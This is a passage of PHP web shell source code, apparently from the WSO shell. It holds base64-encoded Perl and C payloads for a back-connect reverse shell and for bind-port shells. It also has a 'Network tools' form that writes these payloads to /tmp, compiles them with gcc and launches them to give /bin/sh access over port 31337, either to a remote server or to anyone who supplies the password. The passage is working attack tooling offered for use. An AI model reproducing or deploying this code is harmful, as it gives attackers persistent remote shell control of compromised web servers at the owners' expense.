1396 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1397 $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
1398 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1399 ?>
1400 <h1>Network tools</h1><div class=content>
1401 <form name='nfp' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
1402 <span>Bind port to /bin/sh</span><br/>
1403 Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass' value='wso'> Using: <select name="using"><option value='bpc'>C</option><option value='bpp'>Perl</option></select> <input type=submit value=">>">
1404 </form>
1405 <form name='nfp' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
1406 <span>Back-connect to</span><br/>
1407 Server: <input type='text' name='server' value='<?=$_SERVER['REMOTE_ADDR']?>'> Port: <input type='text' name='port' value='31337'> Using: <select name="using"><option value='bcc'>C</option><option value='bcp'>Perl</option></select> <input type=submit value=">>">
1408 </form><br>
1409 <?php
1410 if(isset($_POST['p1'])) {
1411 function cf($f,$t) {
1412 $w=@fopen($f,"w") or @function_exists('file_put_contents');
1413 if($w) {
1414 @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
1415 @fclose($w);
1416 }
1417 }
1418 if($_POST['p1'] == 'bpc') {
1419 cf("/tmp/bp.c",$bind_port_c);
1420 $out = ex("gcc -o /tmp/bp /tmp/bp.c");
1421 @unlink("/tmp/bp.c");
1422 $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
1423 echo "<pre class=ml1>$out\n".ex("ps aux | grep bp")."</pre>";
1424 }
1425 if($_POST['p1'] == 'bpp') {
1426 cf("/tmp/bp.pl",$bind_port_p);
1427 $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
1428 echo "<pre class=ml1>$out\n".ex("ps aux | grep bp.pl")."</pre>";
1429 }
1430 if($_POST['p1'] == 'bcc') {
1431 cf("/tmp/bc.c",$back_connect_c);
1432 $out = ex("gcc -o /tmp/bc /tmp/bc.c");
1433 @unlink("/tmp/bc.c");
1434 $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
1435 echo "<pre class=ml1>$out\n".ex("ps aux | grep bc")."</pre>";
1436 }
1437 if($_POST['p1'] == 'bcp') {
1438 cf("/tmp/bc.pl",$back_connect_p);
1439 $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
1440 echo "<pre class=ml1>$out\n".ex("ps aux | grep bc.pl")."</pre>";
1441 }
1442 }
1443 echo '</div>';
1444 printFooter();
1445}
1446if( empty($_POST['a']) )
1447 if(isset($default_action) && function_exists('action' . $default_action))
1448 $_POST['a'] = $default_action;
1449 else
1450 $_POST['a'] = 'SecInfo';
1451if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1452 call_user_func('action' . $_POST['a']);
1453?>